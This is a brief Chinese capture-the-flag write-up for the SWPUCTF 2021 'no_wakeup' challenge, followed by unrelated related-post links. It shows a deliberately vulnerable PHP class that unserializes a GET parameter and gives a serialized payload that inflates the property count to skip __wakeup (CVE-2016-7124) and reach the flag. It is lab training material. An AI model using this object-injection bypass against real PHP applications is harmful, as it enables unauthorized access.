(反序列化)[SWPUCTF 2021 新生赛]no_wakeup

打开题目

复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

__destruct->__wakeup(要绕过)

反序列时先检测有没有wakeup方法,有就先调用

但是CVE-2016-7124影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

即可

相关推荐
一定要AK2 小时前
刷题时的学习笔记
c++·笔记·学习
xxxibolva3 小时前
SQL 学习
数据库·sql·学习
星辰即远方6 小时前
OC学习Foudation框架
学习·ios·objective-c
weixin_408099677 小时前
图片去水印 API 接口实战:网站如何实现自动去水印(Python / PHP / C#)
图像处理·人工智能·python·c#·php·api·图片去水印
yyk的萌7 小时前
AI 应用开发工程师基础学习计划
开发语言·python·学习·ai·lua
龘龍龙8 小时前
大模型学习(三)-RAG、LangChain
学习·langchain
计算机安禾9 小时前
【数据结构与算法】第22篇:线索二叉树(Threaded Binary Tree)
c语言·开发语言·数据结构·学习·算法·链表·visual studio code
:mnong9 小时前
Superpowers 项目设计分析
java·c语言·c++·python·c#·php·skills
计算机安禾9 小时前
【数据结构与算法】第21篇:二叉树遍历的经典问题:由遍历序列重构二叉树
c语言·数据结构·学习·算法·重构·visual studio code·visual studio
信奥胡老师9 小时前
P1255 数楼梯
开发语言·数据结构·c++·学习·算法